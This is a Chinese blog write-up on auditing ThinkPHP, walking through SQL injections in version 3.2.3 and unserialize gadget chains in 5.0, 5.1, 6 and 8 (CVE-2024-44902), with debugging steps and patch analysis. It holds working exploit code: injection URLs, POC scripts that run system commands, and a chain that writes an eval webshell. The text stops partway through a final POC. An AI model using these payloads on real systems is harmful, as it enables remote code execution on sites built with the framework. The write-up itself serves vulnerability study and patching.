Skip to content

ThinkPHP系列漏洞

约 7719 字大约 26 分钟

PHP

2024-10-25

前言

作为学习代码审计的入门,分析复现漏洞,学习如何修补,记录一下学习过程

环境搭建

ThinkPHP搭建

分别在不同版本漏洞分析前说明,都是建立在 phpstudy 上,不要用 apache,会导致调试中断,且 apache 的许多默认设置不友好

Xdebug配置(以ThinkPHP5为例)

在php.ini中,xdebug2.x和3.x版本的配置有所区别,此处演示3.x版本

zend_extension = php_xdebug.dll
xdebug.mode = debug
xdebug.client_host = localhost
xdebug.client_port = 9100
xdebug.remote_enable = On
xdebug.start_with_request = yes
xdebug.log = "D:\Major\phpstudy_pro\Extensions\php"
xdebug.client_timeout = 300

在phpstorm中,服务器选项,主机配置phpstudy创建的那个,别加http://

image-20241018164022680 调试模块改端口为php.ini里面设置xdebug的端口

image-20241018164126747

DBGp代理填写规则和前面说的一致

image-20241018164246000

可以在

Nginx配置

phpstudy建站之后,根据实际情况修改\Extensions\Nginx1.15.11\conf\vhosts里面对应网站的配置信息

image-20241018122111721

最主要的就是修改根目录,一般改这个,让nginx的服务指向对应的根目录,比如/public,里面有index.php

image-20241018134142975

在不同系统上的部署略有区别,以及在配置过程中遇到的一些新概念,如cgi,php-cgi,fastcgi 、php-fpm等等,会在另外的文档里再写

ThinkPHP源码解读

先看官方开发手册,每个大版本都有,很详细 https://doc.thinkphp.cn/v8_0/preface.html

ThinkPHP5版本讲的很好Thinkphp 源码阅读,但是这个和我现在下载到的5.1.37有不少形式上的区别,内容上也有改动,如果有时间我再写一下这个

主要搞清楚目录结构,MVC模式如何启动,路由如何转发,控制器如何调用

www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  ├─config          配置目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行定义文件
│  ├─common.php         公共函数文件
│  └─tags.php           应用行为扩展定义文件

├─config                应用配置目录
│  ├─module_name        模块配置目录
│  │  ├─database.php    数据库配置
│  │  ├─cache           缓存配置
│  │  └─ ...            
│  │
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─log.php            日志配置
│  ├─session.php        Session配置
│  ├─template.php       模板引擎配置
│  └─trace.php          Trace配置

├─route                 路由定义目录
│  ├─route.php          路由定义
│  └─...                更多

├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写

├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  └─logo.png           框架LOGO文件

├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

Version<=3.23

这个版本的sql注入大多都集中在/ThinkPHP/Library/Think/Db/Driver.class.php里的parseWhereItem()

环境搭建

源码下载:https://github.com/top-think/thinkphp/archive/3.2.3.zip

在ThinkPHP\Conf\convention.php,配置好数据库相关部分(根据本地mysql配置)

image-20241015173727817

SQL where 注入

建一个users表,然后在Application/Home/Controller/IndexController.class.php添加测试代码

public function index()
    {
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }

这些方法封装在ThinkPHP/Common/functions.php

  • M() 是 ThinkPHP 提供的 模型类快速实例化方法,它会创建一个针对 users 表的 模型对象

  • 当你传入 'users' 这个表名时,ThinkPHP 内部会自动与数据库中名为 users 的表建立关联。它相当于将这个表映射为一个对象,接下来就可以调用模型的方法来对数据库进行操作。

    例如,M('users') 就相当于关联了 users 数据表,你可以对这个表进行查询、添加、更新、删除等操作。

  • find() 是 ThinkPHP 提供的 查询方法,用于 查询数据库中的一条记录。它会根据传入的主键 ID 来查找对应的记录,并返回这条记录的所有数据。它相当于执行了类似的 SQL 查询:

    SELECT * FROM users WHERE id = I('GET.id') LIMIT 1;
  • I('GET.id') 是 ThinkPHP 的输入助手函数,它用于获取 GET 请求中的 id 参数。这个函数可以对输入数据进行过滤和处理,确保数据的安全性,避免常见的 SQL 注入 等安全问题。

分析

传入参数1',会变成1,打个断点看一下传参的I,用C方法获取了配置文件中的DEFAULT_FILTER,默认参数过滤方法为htmlspecialchars

image-20241015221437949

在444行对传进来的data进行过滤

is_array($data) && array_walk_recursive($data, 'think_filter');
return $data;

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

关键点在后续_parseOptions()里面的_parseType(),这里对于参数进行处理

image-20241016083841430

跟进去看一下,这里会根据数据表中的字段属性,来重新对我们的数据进行限定,id对应的类型是 int,这里直接做了 intval 处理导致 我们这里的 ' 在这里被处理了

image-20241016084136098

想办法不进入到_parseType(),如果是数组就可以

此时id[where]=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1),里面的内容就会是字符串,进不到这个判断去触发_parseType()

if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

如果不开debug的话就需要时间盲注了

修复

image-20241017002633674

https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04#diff-0963df879f168f0758c1f5d8c49e7e3b5e91a4a81626a2343ca67f2cf5701270L797

把where属性拿出来避免当成数组绕过对于他的检查

SQL exp 注入

添加测试代码,使用全局数组传参,而不是I()函数

    public function index()
    {
        $User = D('Users');
        $map = array('username' => $_GET['username']);
        // $map = array('username' => I('username'));
        $user = $User->where($map)->find();
        var_dump($user);
    }

分析

find()函数会执行到ThinkPHP/Library/Think/Model.class.php:822$this->db->select($options)

public function select($options = array())
{
    $this->model = $options['model'];
    $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
    $sql    = $this->buildSelectSql($options);
    $result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
    return $result;
}

跟进到buildSelectSql()

public function buildSelectSql($options = array())
{
    if (isset($options['page'])) {
        // 根据页数计算limit
        list($page, $listRows) = $options['page'];
        $page                  = $page > 0 ? $page : 1;
        $listRows              = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
        $offset                = $listRows * ($page - 1);
        $options['limit']      = $offset . ',' . $listRows;
    }
    $sql = $this->parseSql($this->selectSql, $options);
    return $sql;
}

跟进$this->parseSql()到,进去parseWhere(),在里面打上断点

public function parseSql($sql, $options = array())
{
    $sql = str_replace(
        array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
        array(
            $this->parseTable($options['table']),
            $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
            $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
            $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
            $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
            $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
            $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
            $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
            $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
            $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
            $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
            $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
            $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
        ), $sql);
    return $sql;
}

这部分是通过parse系列函数来构建SQL语句,我们的关注点在parseWhere()函数

image-20241017220738375

对于$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);

跟进到 ThinkPHP/Library/Think/Db/Driver.class.php:586parseWhereItem()

image-20241017140138205

elseif ('exp' == $exp) {
    // 使用表达式
    $whereStr .= $key . ' ' . $val[1];

如果传入的数组第一个值等于exp,就会直接将我们的 $key 和 $val[1] 进行了拼接 ,并且没有做任何过滤,那么构造传入的第二个值

Payload:?username[0]=exp&username[1]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

修复

利用I()函数去取值,里面就会进到is_array($data) && array_walk_recursive($data, 'think_filter');,过滤了exp,会在后面拼接上一个空格,那这样后面parseWhereItem()中就不满足条件抛出异常导致无法注入。

	function think_filter(&$value)
	{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
   	if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
   		}
	}

SQL bind 注入

分析

添加测试代码

    public function index()
    {
        $User = M("Users");
        $user['id'] = I('id');
        $data['password'] = I('password');
        var_dump($user);
        var_dump($data);
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

原理和exp注入相似,测试一下这个先

?id[0]=bind&id[1]=aa&password=1

image-20241026235409450

where就是正常赋值进去,跟进save()函数,里面有个update()

image-20241017165805220

数据传入了parseSet()方法

image-20241017221629684

在这里传入的数据会变成key=:value 这样的格式,此处的key是password

image-20241017221814865

进到parseWhere()函数

image-20241017170544522

理论上应该是走到这个逻辑里面,然后触发parseWhereItem去达到和上面差不多的exp注入,只不过这个换成了bind

image-20241017193707259

但是我并没有成功,$where是空的字符串,不知道为什么

然后按照正常的话,此时key值是含有分号的,无法正常执行

image-20241017232322705

可以看到多了个冒号,在哪里替换了这个冒号?我们进入到 execute()方法

image-20241017232956101

这几行就是替换操作,是将:0替换为外部传进来的字符串,所以我们让我们的参数也等于0,这样就拼接了一个:0,然后会通过strtr()被替换为1,这样sql语句就通顺了。说实话没太看懂这个

修复

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

加了过滤bind名单

SQL between 注入

测试代码:

    public function index()
    {
        $uname = I('get.username');
        $u = M('Users')->where(array(
            'username' => $uname
        ))->find();
        dump($u);
    }

分析

在最新下到的版本中已经被修复,原因是/ThinkPHP/Library/Think/Db/Driver.class.php 531行,正则匹配处理where条件的函数

}elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
    $whereStr .=  $key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
}

照搬p神的分析了:当匹配/BETWEEN/i$val[0]时,则将strtoupper($val[0])直接插入了SQL语句。

这个匹配:preg_match('/BETWEEN/i',$val[0]),明显是有问题的。因为这个匹配没加^$,也就是首尾限定,所以只要我们的$val[0]中含有between时,这个匹配就可以成立,就产生了一个SQL注入。

而在I函数里面那个think_filter,虽然有between的过滤,但我们看到,这个正则是存在^$首尾限定符的。所以只有传入参数完全“等于”BETWEEN的时候才会被加上空格,而且这里加上空格也不会影响漏洞的产生,因为漏洞位置的正则没有加^$首尾限定符

function think_filter(&$value){
	// TODO 其他安全过滤
	// 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|LIKE|NOTLIKE|BETWEEN|IN)$/i',$value)){
        $value .= ' ';
    }
}

image-20241018144706613

修复

加上了首尾限定匹配,就会直接跳过变成异常

image-20241018144739223

反序列化漏洞前置

5系列包括后面6,8都是反序列化的漏洞居多

魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数,类名不区分大小写,可用于__wakeup()绕过
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //对一个对象进行 echo 操作或者 print 操作,声明的变量赋值为对象后与字符串做弱类型比较的时候就能触发,声明的变量赋值为对象后进行正则匹配的时候就能触发_,声明的变量被赋值为对象后进行 strolower 的时候就能触发_,当md5()和sha1()函数处理对象时,会自动调用__tostring方法
__invoke() //当尝试将对象调用为函数时触发

trait修饰符

trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类,这在后面的反序列化中有所涉及

<?php
trait test{
    public function test(){
        echo "test\n";
    }
}

class impl{
    use test;
    public function __construct()
    {
        echo "impl\n";
    }

}
$t=new impl();
$t->test();

image-20241020215213994

我们在impl类中use了test这个类,因此我们可以调用其中的方法,有点像类的继承了,大致意思就是这么个情况 然后这个修饰符也有个好玩的地方,看下面另一个demo:

<?php
namespace test1\A;

use test2\A\yanami;

class Aniale{
    use yanami;
    public function __construct()
    {
        echo "dawn_construct\n";
    }
}
<?php
namespace test2\A;
require("test1.php");
use test1\A\Aniale;
trait yanami{
    public function __toString()
    {
        echo "tostring\n";
        return "";
    }
}
$a=new Aniale();
echo $a;

会一起触发里面的tostring方法

tp5系列都是跟着Boogipop的博客调的,神。ThinkPHP5.x反序列化漏洞全复现

Version=5.1.x

环境搭建

php7.29+ThinkPHP5.1.37

Thinkphp已经分为2个部分, https://github.com/top-think/framework/tags https://github.com/top-think/think/releases 下载5.1.37对应的版本号

将framework改名为为thinkphp放到think-5.1.37中

image-20241018122007361

nginx的服务根目录正常指向public即可

image-20241018134650212

在application/index/controller/Index.php里创建一个unserialize反序列化入口,因为他是二次触发漏洞

<?php
namespace app\index\controller;

class Index
{
    public function index($input="")
    {
        echo "ThinkPHP5_Unserialize:\n";
        unserialize(base64_decode($input));
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["aniale"=>["calc.exe","calc"]];
        $this->data = ["aniale"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'aniale'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}

namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

传入之前的反序列化入口

image-20241019144528063

分析

unserialize()处下断点,输入payload

image-20241019172156590

进到包裹的think\process\pipes\Windows对象里面,反序列化触发__destruct()

image-20241020180708395

跟进removeFiles()方法

image-20241020181500152

file_exists方法检测文件是否存在,在poc里我们把file设置为think\model]\Pivot对象,因此会触发它的toString方法

image-20241020213600395

image-20241020220711147

但是此时会进到Conversion的__toString()而不是Pivot,这不是我们所预期的,首先是Conversion被trait修饰,Pivot里面也没有__toString(),回到了前文提到的这个trait,如果有一个类去use Conversion 应该就可以调用,Model恰好use model\concern\Conversion,由于Model本身是抽象类无法被实例化,而Pivot extends 了Model,这就可以正常触发__toString()

进到toJson()里面的toArray()

在此处遍历append去给name加键值,key为aniale,name为["calc.exe", "calc"]

image-20241020221017131

对应POC里面的

image-20241020222719181

进入getRelation()方法,name不等于null,return null返回

image-20241020223219509

进到getAttr(),继续跟进到里面的getData(),在之前我们把data赋值为Request对象,就会return一个Request对象回去,$relation经过上述步骤变为Request对象

image-20241020223429241

image-20241020223800376

image-20241020224024920

调用visible(),因为不存在该方法,参数为[calc,calc.exe]也就是我们自定义的那个键值对,触发Request的__call()里面的array_unshift()

首先使用array_unshift往之前的[calc,calc.exe]数组插入$this也就是Request对象,之后调用call_user_func_array方法,其中$this->hook[$method]就是$this->hook['visible'],在POC中为isAjax方法,跟进该方法:

image-20241020225417335

image-20241020230331774

调用Param(),参数为我们poc中的aniale,继续跟进

image-20241020230516487

将GET数组赋值给this->param属性,然后$name就是之前说的aniale,跟进input方法:

image-20241020230707435

image-20241020230812144

进入getData(),这里就传入我们的命令

image-20241020234253345

进到getFilter()获取filter属性

image-20241020234403889

给filter加一个null变量?为什么这么做,后面又弹出去了(应该是为了后面过滤的时候取这个null值给$value)

image-20241020234929213

再后面进入了filterValue(),用array_pop()弹出了后面那个default

image-20241020235036095

然后就system,调用call_user_func()RCE了

image-20241021000110194

image-20241020235655325

Version=5.0.24

在5.0.24和5.0.18可用,5.0.9不可用

环境搭建

与后面5.1.37相同

在application/index/controller/Index.php里创建一个unserialize反序列化入口,因为他是二次触发漏洞

<?php
namespace app\index\controller;

class Index
{
    public function index($input="")
    {
        echo "ThinkPHP5_Unserialize:\n";
        unserialize(base64_decode($input));
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

POC

<?php

//__destruct
namespace think\process\pipes{
    class Windows{
        private $files=[];

        public function __construct($pivot)
        {
            $this->files[]=$pivot; //传入Pivot类
        }
    }
}

//__toString Model子类
namespace think\model{
    class Pivot{
        protected $parent;
        protected $append = [];
        protected $error;

        public function __construct($output,$hasone)
        {
            $this->parent=$output; //$this->parent等于Output类
            $this->append=['a'=>'getError'];
            $this->error=$hasone;   //$modelRelation=$this->error
        }
    }
}

//getModel
namespace think\db{
    class Query
    {
        protected $model;

        public function __construct($output)
        {
            $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
        }
    }
}

namespace think\console{
    class Output
    {
        private $handle = null;
        protected $styles;
        public function __construct($memcached)
        {
            $this->handle=$memcached;
            $this->styles=['getAttr'];
        }
    }
}

//Relation
namespace think\model\relation{
    class HasOne{
        protected $query;
        protected $selfRelation;
        protected $bindAttr = [];

        public function __construct($query)
        {
            $this->query=$query; //调用Query类的getModel

            $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
            $this->bindAttr=['a'=>'admin'];  //控制__call的参数$attr
        }
    }
}

namespace think\session\driver{
    class Memcached{
        protected $handler = null;

        public function __construct($file)
        {
            $this->handler=$file; //$this->handler等于File类
        }
    }
}

namespace think\cache\driver{
    class File{
        protected $options = [
            'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'cache_subdir'=>false,
            'prefix'=>'',
            'data_compress'=>false
        ];
        protected $tag=true;


    }
}

namespace {
    $file=new think\cache\driver\File();
    $memcached=new think\session\driver\Memcached($file);
    $output=new think\console\Output($memcached);
    $query=new think\db\Query($output);
    $hasone=new think\model\relation\HasOne($query);
    $pivot=new think\model\Pivot($output,$hasone);
    $windows=new think\process\pipes\Windows($pivot);

    echo base64_encode(serialize($windows));
}

image-20241022144208048

这一步之后就能在public目录下看到生成的a.php3b58a9545013e88c7186db11bb158c44.php文件,若访问出现Access denied.,需要在php.ini修改cgi.fix_pathinfo,取消前方的“;”,并使其等于1

image-20241022144225201

分析

比较复杂

还是像上一条链子一样进到thinkphp/library/think/process/pipes/Windows.php的__destruct()里面

image-20241022145038424

这次触发__toString()是在Model类了,在5.0版本没有Conversion这个复用类,因此在这里有点小不同,但是方法是一样的因此接下来会和5.1.37版本一样进入toArray()

image-20241022150756142

首先888行左右的foreach ($this->append as $key => $name)给name赋值为我们poc里面的getError ('a'=>'getError'),这里有四个重要的逻辑,第一个用parseName()$relation赋值为getError

image-20241022174031377

进到下面method_exists判断,然后对$modelRelation进行了赋值,在这里是通过$this->$relation(),也就是 Model 类自己的$this->$getError()完成的,同时也把这个设置成 HasOne 对象,下面会讲为什么这么做

image-20241022204237480

进入下一断点getRelationData(),重点在于第一句的if判断的三个条件

image-20241022204801807

  • 条件一:$this->parent

在上一条链子里,我们进到toArray是为了触发Request类的__call(),在这里我们选择think\console\Output 类。因为这个会$value = $this->parent去给$value赋值,为了触发__call()就需要让$value = Output对象,也就是parent=Output对象

  • 条件二:!$modelRelation->isSelfRelation()

$modelRelation我们已经在上一步赋值过了,是那个 HasOne对象,对于isSelfRelation()

image-20241022212203107

他属于抽象类 Relation,而 HasOne extends OneToOne,abstract class OneToOne extends Relation,所以我们只需要在构造HasOne的时候,修改$selfRelation的值为 false 即可,这也就是我们之前为什么要把$modelRelation赋值为 HasOne 对象

  • 条件三:get_class($modelRelation->getModel()) == get_class($this->parent)

这里需要调用 HasOne 的 getModel 去返回一个等于 Output 的对象,需要一个可控的 getModel 去让我们操作,恰好有一个/thinkphp/library/think/db/Query.php中的 getModel 方法我们可控,构造时让$model为Output对象

image-20241022232512425

进入第三个断点,$modelRelation->getBindAttr()

$modelRelation此时是 HasOne 对象,但是里面没有getBindAttr(),就会进到 OneToOne 里面的getBindAttr()

image-20241022233022900

返回 HasOne 对象的 bindAttr 属性,这里我们设置为一个数组["a"=>"admin"],这里的 admin 和结果中的文件名有关

image-20241022233108880

对 bindAttr 进行了遍历,取出了 admin 的值,进到触发__call()getAttr()

image-20241022233215548

触发call方法

image-20241022233440694

调用call_user_func_array方法调用了自己的block方法,继续跟进

image-20241022233527129

调用writeln方法

image-20241022233704649

全局搜索write方法,最终在Memcached类找到合适的write方法,因此让Output的handle属性为Memcached

image-20241022233834763

Memcached对象的write方法,调用了set方法,再找谁调用了set,最终在think/cache/driver/File类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的,并且最后走到调用危险函数file_put_contents()

image-20241022234213962

$filename由上面的getCacheKey()决定,第一次调用时,name是我们之前传入的<getAttr>admin</getAttr>

$this->options['path']在File类里面可控

image-20241023091819276

但是第一次的$data不可控,被赋值为image-20241023092702351

image-20241023092535360

进到下面的setTagItem(),这次进来之后,$value可控,会在下面的set()里面去调用,然后就需要去绕过死亡函数的第二种形式,文件名和内容相同

image-20241023093942140

最后3b58a9545013e88c7186db11bb158c44这个才是写入shell的文件,文件名由

‘tag_’ . md5(<getAttr>admin</getAttr>)->tag_63ac11a7699c5c57d85009296440d77a

->md5(tag_63ac11a7699c5c57d85009296440d77a)->php3b58a9545013e88c7186db11bb158c44

20221011115008-ccb4a1ce-4917-1

composer create-project topthink/think=6.0.0 thinkphp6.0.0 --prefer-dist

CVE-2024-44902

影响版本:v6.1.3 <= thinkphp <= v8.0.4,此处演示8.0.3版本

环境搭建

  • thinkphp8.0.3+php8.0.2++memcached3.2.0

换了php版本需要再安装一次xdebug

  • 安装tp8

在tp6开始就只能用composer去下载了,打开这里面的composer设置,php版本选择>8.0的,推荐这样做,不然可能会因为版本对应问题导致下载不到8版本而是6版本

image-20241024113900509

image-20241024114046304

会自动进到命令提示符里,然后composer create-project topthink/think tp

然后就和之前一样把nginx服务的位置设置改成/public

  • 安装 Memcached

下载Memcached软件(太难找版本了,我挂在自己服务器了):

注意在win上的版本>=1.45之后,不能直接memcached.exe -d install,memcached.exe -d start

正确方法(文件路径自行修改):schtasks /create /sc onstart /tn memcached /tr "'c:\memcached\memcached.exe' -m 512"

然后重启一下,看下服务里面有没有这个memcached服务

下载PHP Memcached扩展:https://github.com/lifenglsf/php_memcached_dll

下载这个目录下面的两个

image-20241024115030443

下载后将php_memcached.dll 复制到对应 php 版本的 ext 目录中,然后将 libmemcached.dll 复制到 c:\Windows 下,在 php.ini 中添加一行配置,启用Memcached扩展

[Memcached]
extension=php_memcached.dll

配置ThinkPHP的缓存设置

最后需要在ThinkPHP的配置文件中设置默认的缓存驱动为Memcached

打开 config/cache.php,配置如下

<?php
 
  // +----------------------------------------------------------------------
  // | 缓存设置
  // +----------------------------------------------------------------------
 
  // config/cache.php  
  return [  
  // 默认缓存驱动  
  'default'     => 'memcached',  
  // 缓存连接方式配置  
  'stores'      => [  
  // Memcached缓存  
  'memcached' => [  
  // 驱动方式  
  'type'   => 'memcached',  
  // 服务器地址  
  'host'   => '127.0.0.1',  
  // 端口  
  'port'   => 11211,  
  // 持久连接  
  'persistent'    => false,  
  // 超时时间(单位:秒)  
  'timeout'       => 0,  
  // 前缀  
  'prefix'        => '',  
  // Memcached连接选项  
  'options'       => [],  
  // 权重(在多服务器配置时使用)  
  // 'weight'        => 100,  
  ],  
  // 这里可以配置其他缓存驱动  
  ],  
];

最后把php和nginx服务都重启一下看看phpinfo界面是否正常加载

image-20241024115655357

都正常的话环境配置就结束了

POC

<?php
namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["test"] = ["whoami"];
        $this->withAttr["test"] = ["system"];
        $this->json = ["test"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered = false;
        $this->resource = new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"] = ["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];//
        $this->config["default"] = "getRule";
    }
}

use think\route\ResourceRegister;
$r = new ResourceRegister();
echo urlencode(serialize($r));

image-20241025091600516

分析

首先进到反序列化的入口,vendor/topthink/framework/src/think/route/ResourceRegister.php的__destruct()里面的register()

image-20241025102915292

跟进register(),我们在POC里面给了$resource赋值了DbManager对象,因为调用DbManager里不存在的方法,所以触发他的__call()

image-20241025103123934

image-20241025103452955

继续跟进connect()

image-20241025104000728 跟进instance(),因为name=null,会进到第一个if里面的getConfig()

image-20241025104057637

image-20241025104225988

可以看到此时的$name为default,而我们在POC里恰好构造了$this->config["default"]="getRule";

这会使得下面 return getRule

image-20241025104919381

回到之前,跟进createConnection()

image-20241025105413452

image-20241025105546925

跟进getConnectionConfig()

image-20241025105749162

又看到了熟悉的getConfig(),上次我们构造了name=fault,这次给定参数 connections,对应去构造我们 POC 里的

$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];

image-20241025110440887

最后返回一个connections[$name],等价于$connections[getRule]

其实就是构造的["type"=>"\think\cache\driver\Memcached","username"=>new Pivot()]]

image-20241025110938417

下一步,在红框里面这里去处理$type,也就是我们为什么要在 POC 里面构造 type 键值,然后给$class赋值$type

image-20241025111209175

进到下面断点的位置

new了一个我们传进去的\think\cache\driver\Memcached对象,参数是$config数组,传入后为$options数组,看一下构造方法,主要就是建立连接

$options在处理后新加了一些连接相关的ip和端口信息

image-20241025112853122

关键在断点处,我们之前已经构造了username为Pivot对象,所以此处会触发__toString(),然后这里的逻辑和之前5.1.37一样,不会去触发Pivot的__toString()而是Conversion的。首先是Conversion被trait修饰,Pivot里面也没有__toString(),回到了前文提到的这个trait,如果有一个类去use Conversion 应该就可以调用,Model恰好use model\concern\Conversion,由于Model本身是抽象类无法被实例化,而Pivot extends 了Model,这就可以正常触发__toString()

image-20241025114921712

跟进toArray()方法,从这里开始就是tp6的链子了

image-20241025120952046

$data = array_merge($this->data, $this->relation);把我们构造的whoami传入,下面那个给$key赋值为$data里面的键名 test

进到$item[$key] = $this->getAttr($key)getAttr()

image-20241025121358432

跟进getData(),其实没什么

image-20241025121518338

$fieldName = $this->getRealFieldName($name);正常返回我们的键名test

进到下一步getValue()

image-20241025122112177

在POC里面我们构造了$this->withAttr["test"]=["system"],进到第一个if里,构造了$this->json=["test"]去满足if(in_array($fieldName, $this->json)

进到getJsonValue()

image-20241025140345006

$this->withAttr[$name] as $key => $closure把里面的system取出来赋值给$closure,最后system('whoami',$value)$value不影响命令执行

tp8版本另一条

参考tp6.x_tp8_unserialize_poc

环境搭建

在上面那个环境可以直接打通

POC

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($cmd){
            $this->data = ['cmd' => [$cmd]];
